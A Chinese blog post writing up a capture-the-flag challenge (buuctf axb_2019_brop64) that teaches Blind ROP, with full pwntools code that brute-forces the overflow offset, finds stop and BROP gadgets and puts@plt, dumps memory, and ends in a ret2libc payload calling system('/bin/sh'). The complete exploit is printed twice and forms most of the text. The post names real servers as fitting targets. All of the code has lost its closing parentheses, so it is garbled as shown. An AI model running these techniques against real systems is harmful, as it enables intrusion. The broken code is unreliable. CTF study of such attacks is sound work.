[PWN]初见BROP

科技资讯 投稿 9400 0 评论

[PWN]初见BROP

前言|与BROP的相遇

在遇到它之前,之前接触的题目都是简单的栈溢出,感觉没有啥有趣的,很简单,找gadget溢出就可以,一切都看得见
可遇到它之后,这是真的折磨,一切都是未知
但是因为未知,所以产生了美感,或许是因为摸不着,所以才有一种神秘的魔力一点点吸引我学pwn

题目:buuctf-axb_2019_brop64

我已经将题目部署在了本题,并且自己修改了一下flag的趣味性
后面我会在本地进行盲打分享
大家可以去buuctf找到这道题目(注意环境libc以及栈对齐一些问题)

BROP的发现与利用思想简介

关于一篇论文

BROP(Blind ROP,于 2014 年由 Standford 的 Andrea Bittau 提出,这种攻击方式是实现在无源代码和二进程程序的情况下对运行中的程序进行攻击。

利用思想

从调用机制上去理解

    我们的目标
  • 能让这个程序挂住,能让这个程序泄露,能让这个程序实现人为函数调用,最终我们要控制

条件依赖

    程序存在栈溢出漏洞
  1. 服务器端的进程在崩溃之后会重新启动,并且重新启动的进程的地址与先前的地址一样。
    1. nginx, MySQL, Apache, OpenSSH 等服务器应用都是符合这种特性的
    2. 这意味着: 栈中的canary是固定的,不会重置

利用思路

    1.暴力枚举,获取栈溢出长度,如果程序开启了Canary,顺便将canary也可以爆出来

  • 返回到程序main函数的gadget,通常被称为stop_gadget

  • 4.寻找BROP Gadget,可能需要诸如write、put等函数的系统调用

  • 6.dump远程内存空间

1.确定栈溢出的长度|偏移量

在这之前,我们可以尝试%p%x%s,以来确定程序是否有格式化字符串漏洞

爆破Canary也称之为Stack Reading, 因为可以用相同的方式把栈上所有的数据都爆破出来.

                     +---------------------------+
                       |           ret             | 
                       +---------------------------+
                       |            a              | 递增a字符串覆盖ebp位置
                ebp--->+---------------------------+
                       |            a+             | 递增a字符串占位填满栈空间
                       |           ....            |        .....
                       |            a+             | 递增a字符串占位填满栈空间
                       |            a+             | 递增a字符串占位填满栈空间
                       |            a+             | 递增a字符串占位填满栈空间
                       |            a+             | 递增a字符串占位填满栈空间
     		   input-->+---------------------------+
def offset_find( :
    offset = 0
    while True:
        try:
            offset += 1
            #io = remote("node4.buuoj.cn",25526
            io = process('./pwn'
            io.recvuntil(b'Please tell me:'
            io.send(b'A'*offset
            if b'Goodbye!' not in io.recvall(:
                raise 'Programe not exit normally!'
            io.close(
        except Exception:
            log.success('The true offset->ebp length is '+ str(offset -1
            return offset - 1

第一步完成:偏移量为216

2.寻找stop gadgets:

如果该地址是非法地址,那么程序就会crash。这样的话,在攻击者看来程序只是单纯的crash了。因此,攻击者就会认为在这个过程中并没有执行到任何的useful gadget,从而放弃它。

对于这道题而言,我们的目标是寻找main,这样就能无限返回main函数,无限进攻尝试!

                       +---------------------------+
                       |        0x400000+          | 递增地址覆盖原ret返回位置
                       +---------------------------+
                       |             a             | a字符覆盖ebp位置
                ebp--->+---------------------------+
                       |             a             | a字符覆盖ebp位置
                       |             a             | a字符覆盖ebp位置
                       |             a             | a字符覆盖ebp位置
                       |             a             | a字符覆盖ebp位置
                       |             a             | a字符覆盖ebp位置
     		  input-->+---------------------------+

ps:在这之前,我们可以找出原本ret函数的返回地址,从而推出main函数的大概位置,从而缩小范围

def min_find(offset:
    #io = remote("node4.buuoj.cn",25526
    io = process('./pwn'
    io.recvuntil(b'Please tell me:'
    io.send(b'A'*offset
    io.recvuntil(b'A'*offset
    old_return_addr = u64(io.recvuntil(b'G'[:-1].ljust(8,b'\x00' #need 8 byte
    print(hex(old_return_addr 
    io.close(
    return old_return_addr


def stop_find(old_return_addr,offset:
    stop_addr = 0x07d0 #0x0000 #low-bit
    while True:
        try:
            #io = remote("node4.buuoj.cn",25526
            io = process("./pwn"
            io.recvuntil(b"Please tell me:"
            io.send(b'A' * offset + p64(old_return_addr + stop_addr
            print(hex(stop_addr
            if stop_addr > 0xFFFF:
                log.error("All low byte is wrong!"
            if b"Hello" in io.recvall( :
                log.success("We found a stop gadget is " + hex(old_return_addr+stop_addr
                return (old_return_addr + stop_addr
            stop_addr = stop_addr + 1
        except Exception:
            io.close(

第二步完成:我们得到的stop_addr = 0x4007d6

3.寻找brop-gadget

    寻找BROP gadgets,这段gadget也就是libc_csu_init中的这段gadget.
  1. 大家如果接触过retcsu,应该知道有一个这样很特殊的gadget
                    +---------------------------+  
                    |         pop rbx           |  0x00
                    +---------------------------+
                    |         pop rbp           |  0x01
                    +---------------------------+
                    |         pop r12           |  0x02
                    +---------------------------+
                    |         pop r13           |  0x04
                    +---------------------------+
                    |         pop r14           |  0x06			
                    +---------------------------+------------------->pop rsi;ret 0x07
                    |         pop r15           |  0x08			  
                    +---------------------------+------------------->pop rdi;ret 0x09
                    |           ret             |  0x10								
                    -----------------------------
//利用了gadget的结构,来确实是否为我们的要的那个gadget
                        
   +---------------------------+ 
   |          traps            | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃
   +---------------------------+
   |           ....            | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃
   +---------------------------+
   |          traps            | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃
   +---------------------------+
   |          traps            | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃
   +---------------------------+
   |          traps            | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃
   +---------------------------+
   |          stop             | <----- stop gadget,不会使程序崩溃,作为probe的ret位
   +---------------------------+
   |          probe            | <----- 探针
   -----------------------------

如果我们找到这个gadget的收地址,那么,我们就能拥有几个特别好用的gadget,是啥?
如果加上0x9,是pop_rdi_ret
如果再加上0x5,是ret

                      +---------------------------+
                       |       		 0    	       | trap
                       +---------------------------+
                       |       	   .....           | trap
                       +---------------------------+
                       |       		 0    	       | trap
                       +---------------------------+
                       |       	stop gadget        | stop gadget作为ret返回地址
                       +---------------------------+
                       |       		 0    	       | trap
                       +---------------------------+
                       |       		 0    	       | trap
                       +---------------------------+
                       |       		 0    	       | trap
                       +---------------------------+
                       |       		 0    	       | trap
                       +---------------------------+
                       |       		 0    	       | trap
                       +---------------------------+
                       |       		 0    	       | trap
                       +---------------------------+
                       |         0x400740+         | 递增地址覆盖原ret返回位置
                       +---------------------------+
                       |             a             | a字符串覆盖原saved ebp位置
                ebp--->+---------------------------+
                       |             a             | a字符串占位填满栈空间
                       |           ....            |        .....
                       |             a             | a字符串占位填满栈空间
                       |             a             | a字符串占位填满栈空间
                       |             a             | a字符串占位填满栈空间
                       |             a             | a字符串占位填满栈空间
     	   our input-->+---------------------------+
def brop_find(stop_addr,offset:
    addr = 0x400950 #0x400000
    while True:
        try:
            #io = remote("node4.buuoj.cn",25526
            io = process("./pwn"
            io.recvuntil(b"Please tell me:"
            print(hex(addr                    #careful!
            payload = b'a'*offset + p64(addr + p64(0*6 + p64(stop_addr
            io.send(payload
            if b'Hello' in io.recvall(timeout=1:
                log.success("We find the brop_gadget " + hex(addr
                return hex(addr
            addr += 1
        except Exception:
            io.close(

第三步完成:我们得到的pop_rdi_ret 为 0x40095a + 0x9

4.寻找puts-plt

也就是,需要才去找他这个函数存在于哪里,利用plt和got表配合使用,从而实现这个功能
puts-plt有跳转执行函数的功能,找到puts-plt就能执行puts函数

在没有开启PIE保护的情况下,0x400000处为ELF文件的头部,其内容为’ \ x7fELF’
所以我们就利用这个

                      +---------------------------+
                       |       	stop gadget        | stop gadget确保程序不崩溃
                       +---------------------------+
                       |       	  0x400000+        | 循环递增地址,作为pop的ret地址
                       +---------------------------+
                       |          0x400000 	       | ELF起始地址,地址内存放'\x7fELF'
                       +---------------------------+
                       |        0x40095a + 0x9     | pop rdi;ret地址覆盖原ret返回位置
                       +---------------------------+
                       |             a             | a字符串覆盖ebp位置
                ebp--->+---------------------------+
                       |             a             | a字符串占位填满栈空间
                       |           ....            |        .....
                       |             a             | a字符串占位填满栈空间
                       |             a             | a字符串占位填满栈空间
                       |             a             | a字符串占位填满栈空间
                       |             a             | a字符串占位填满栈空间
     	   our input-->+---------------------------+

def func_plt_find(plt_base, offset, stop_addr, pop_rdi_ret:
    maybe_low_byte = 0x0630 #0x0000
    while True:
        try:
            #io = remote("node4.buuoj.cn",25526
            io = process('./pwn'
            io.recvuntil(b"Please tell me:"
            payload = b'A' * offset
            payload += p64(pop_rdi_ret
            payload += p64(0x400000
            payload += p64(plt_base+ maybe_low_byte
            payload += p64(stop_addr
            print(hex(maybe_low_byte
            io.send(payload
            if maybe_low_byte > 0xFFFF:
                log.error("All low byte is wrong!"
            if b"ELF" in io.recvall(timeout=1:  
                log.success("We found a function plt address is " + hex(plt_base + maybe_low_byte
                return hex(plt_base + maybe_low_byte
            maybe_low_byte = maybe_low_byte + 1
        except:
            io.close(

第四步完成:我们找到的plt的地址为puts_plt = 0x400635

5.dump出got地址

def leak(offset,pop_rdi_ret,func_plt,leak_addr,stop_addr:
    io = process('./pwn'
    #io = remote("node4.buuoj.cn",25526
    payload = b'a'*offset + p64(pop_rdi_ret + p64(leak_addr + p64(func_plt + p64(stop_addr
    io.recvuntil(b"Please tell me:"
    io.sendline(payload
    io.recvuntil(b'a'*offset
    io.recv(3 #0x400635 -> 3byte \x00 stop !!!
    try:
        output = io.recv(timeout = 1
        io.close(
        try:
            output = output[:output.index(b"\nHello,I am a computer"]
            print(output
        except Exception:
            output = output
        if output == b"":
            output = b"\x00"
        return output
    except Exception:
        io.close(
        return None

def dump_file(offset,pop_rdi_ret,puts_plt,addr,stop_addr:
    result =b''
    while addr < 0x400835:
       print(hex(addr
       output = leak(offset, pop_rdi_ret,puts_plt,addr,stop_addr
       if output is None:
          result += b'\x00'
          addr += 1
          continue
       else:
          result += output
       addr += len(output
       with open('dump_file','wb' as f:
          f.write(result

生成的文件到本地,拖进去IDA分析
此处省略,太久了

6.常规的retlibc解决即可

如上我们泄露了got的地址,那么就能通过puts获得真实的函数地址
利用真实函数地址,泄露libc版本
找出shell条件,最后常规的栈溢出ROP即可解决

def attack(offset,pop_rdi_ret,puts_got,puts_plt,stop_addr:
    context(log_level='debug',arch = 'amd64',os = 'linux'
    io = process('./pwn'
    #io = remote("node4.buuoj.cn",27462
    #libc = ELF('./libc-2.23.so'
    elf = ELF('./pwn'
    libc = elf.libc
    ret = 0x40095a + 0x9 + 0x5
    payload = b'a'*offset
    payload += p64(pop_rdi_ret
    payload += p64(puts_got
    payload += p64(puts_plt
    payload += p64(stop_addr
    io.recvuntil(b"Please tell me:"
    io.sendline(payload
    io.recvuntil(b'a'*offset
    io.recv(3
    func_addr = io.recv(6
    puts_address = u64(func_addr.ljust(8,b'\x00'
    print(hex(puts_address
    #libc=LibcSearcher('puts',puts_address
    #libcbase=puts_address-libc.dump('puts'
    #system_address=libcbase+libc.dump('system'
    #bin_sh=libcbase+libc.dump('str_bin_sh'
    libcbase = puts_address - libc.symbols['puts']
    system_address = libcbase + libc.symbols['system']
    bin_sh = libcbase + next(libc.search(b'/bin/sh\x00'
    io.recvuntil(b"Please tell me:"
    payload = b'a'*offset + p64(ret + p64(pop_rdi_ret + p64(bin_sh + p64(system_address + p64(stop_addr
    io.sendline(payload
    io.interactive(

小彩蛋:

home目录下的flag文件存的都是啥啊!

最后的EXP

虽然多,但是很套路

from pwn import *
from LibcSearcher import *

def offset_find( :
    offset = 0
    while True:
        try:
            offset += 1
            #io = remote("node4.buuoj.cn",25526
            io = process('./pwn'
            io.recvuntil(b'Please tell me:'
            io.send(b'A'*offset
            if b'Goodbye!' not in io.recvall(:
                raise 'Programe not exit normally!'
            io.close(
        except Exception:
            log.success('The true offset->ebp length is '+ str(offset -1
            return offset - 1


def min_find(offset:
    #io = remote("node4.buuoj.cn",25526
    io = process('./pwn'
    io.recvuntil(b'Please tell me:'
    io.send(b'A'*offset
    io.recvuntil(b'A'*offset
    old_return_addr = u64(io.recvuntil(b'G'[:-1].ljust(8,b'\x00' #need 8 byte
    print(hex(old_return_addr 
    io.close(
    return old_return_addr


def stop_find(old_return_addr,offset:
    stop_addr = 0x07d0 #0x0000 #low-bit
    while True:
        try:
            #io = remote("node4.buuoj.cn",25526
            io = process("./pwn"
            io.recvuntil(b"Please tell me:"
            io.send(b'A' * offset + p64(old_return_addr + stop_addr
            print(hex(stop_addr
            if stop_addr > 0xFFFF:
                log.error("All low byte is wrong!"
            if b"Hello" in io.recvall( :
                log.success("We found a stop gadget is " + hex(old_return_addr+stop_addr
                return (old_return_addr + stop_addr
            stop_addr = stop_addr + 1
        except Exception:
            io.close(


def brop_find(stop_addr,offset:
    addr = 0x400950 #0x400000
    while True:
        try:
            #io = remote("node4.buuoj.cn",25526
            io = process("./pwn"
            io.recvuntil(b"Please tell me:"
            print(hex(addr                    #careful!
            payload = b'a'*offset + p64(addr + p64(0*6 + p64(stop_addr
            io.send(payload
            if b'Hello' in io.recvall(timeout=1:
                log.success("We find the brop_gadget " + hex(addr
                return hex(addr
            addr += 1
        except Exception:
            io.close(


def func_plt_find(plt_base, offset, stop_addr, pop_rdi_ret:
    maybe_low_byte = 0x0630 #0x0000
    while True:
        try:
            #io = remote("node4.buuoj.cn",25526
            io = process('./pwn'
            io.recvuntil(b"Please tell me:"
            payload = b'A' * offset
            payload += p64(pop_rdi_ret
            payload += p64(0x400000
            payload += p64(plt_base+ maybe_low_byte
            payload += p64(stop_addr
            print(hex(maybe_low_byte
            io.send(payload
            if maybe_low_byte > 0xFFFF:
                log.error("All low byte is wrong!"
            if b"ELF" in io.recvall(timeout=1:  
                log.success("We found a function plt address is " + hex(plt_base + maybe_low_byte
                return hex(plt_base + maybe_low_byte
            maybe_low_byte = maybe_low_byte + 1
        except:
            io.close(


def leak(offset,pop_rdi_ret,func_plt,leak_addr,stop_addr:
    io = process('./pwn'
    #io = remote("node4.buuoj.cn",25526
    payload = b'a'*offset + p64(pop_rdi_ret + p64(leak_addr + p64(func_plt + p64(stop_addr
    io.recvuntil(b"Please tell me:"
    io.sendline(payload
    io.recvuntil(b'a'*offset
    io.recv(3 #0x400635 -> 3byte \x00 stop !!!
    try:
        output = io.recv(timeout = 1
        io.close(
        try:
            output = output[:output.index(b"\nHello,I am a computer"]
            print(output
        except Exception:
            output = output
        if output == b"":
            output = b"\x00"
        return output
    except Exception:
        io.close(
        return None

def dump_file(offset,pop_rdi_ret,puts_plt,addr,stop_addr:
    result =b''
    while addr < 0x400835:
       print(hex(addr
       output = leak(offset, pop_rdi_ret,puts_plt,addr,stop_addr
       if output is None:
          result += b'\x00'
          addr += 1
          continue
       else:
          result += output
       addr += len(output
       with open('dump_file','wb' as f:
          f.write(result

def attack(offset,pop_rdi_ret,puts_got,puts_plt,stop_addr:
    context(log_level='debug',arch = 'amd64',os = 'linux'
    io = process('./pwn'
    #io = remote("node4.buuoj.cn",27462
    #libc = ELF('./libc-2.23.so'
    elf = ELF('./pwn'
    libc = elf.libc
    ret = 0x40095a + 0x9 + 0x5
    payload = b'a'*offset
    payload += p64(pop_rdi_ret
    payload += p64(puts_got
    payload += p64(puts_plt
    payload += p64(stop_addr
    io.recvuntil(b"Please tell me:"
    io.sendline(payload
    io.recvuntil(b'a'*offset
    io.recv(3
    func_addr = io.recv(6
    puts_address = u64(func_addr.ljust(8,b'\x00'
    print(hex(puts_address
    #libc=LibcSearcher('puts',puts_address
    #libcbase=puts_address-libc.dump('puts'
    #system_address=libcbase+libc.dump('system'
    #bin_sh=libcbase+libc.dump('str_bin_sh'
    libcbase = puts_address - libc.symbols['puts']
    system_address = libcbase + libc.symbols['system']
    bin_sh = libcbase + next(libc.search(b'/bin/sh\x00'
    io.recvuntil(b"Please tell me:"
    payload = b'a'*offset + p64(ret + p64(pop_rdi_ret + p64(bin_sh + p64(system_address + p64(stop_addr
    io.sendline(payload
    io.interactive(





offset = 216 #offset_find(

old_return_addr = 0x400000 #min_find(offset #0x400834

stop_addr = 0x4007d6 #stop_find(old_return_addr,offset #0x4007d6

brop_gadget = 0x40095a #brop_find(stop_addr,offset #0x40095a

pop_rdi_ret =brop_gadget + 0x9

plt_base = 0x400000

puts_plt = 0x400635 #func_plt_find(plt_base,offset,stop_addr,pop_rdi_ret

puts_got = 0x601018 #dump_file(offset,pop_rdi_ret,puts_plt,0x400000,stop_addr


#offset_find(

#min_find(offset 

#stop_find(old_return_addr,offset 

#brop_find(stop_addr,offset 

#func_plt_find(plt_base,offset,stop_addr,pop_rdi_ret

#dump_file(offset,pop_rdi_ret,puts_plt,0x400000,stop_addr

attack(offset,pop_rdi_ret,puts_got,puts_plt,stop_addr

#谢谢你的观看!

^ _ ^

编程笔记 » [PWN]初见BROP

赞同 (52) or 分享 (0)
游客 发表我的评论   换个身份
取消评论

表情
(0)个小伙伴在吐槽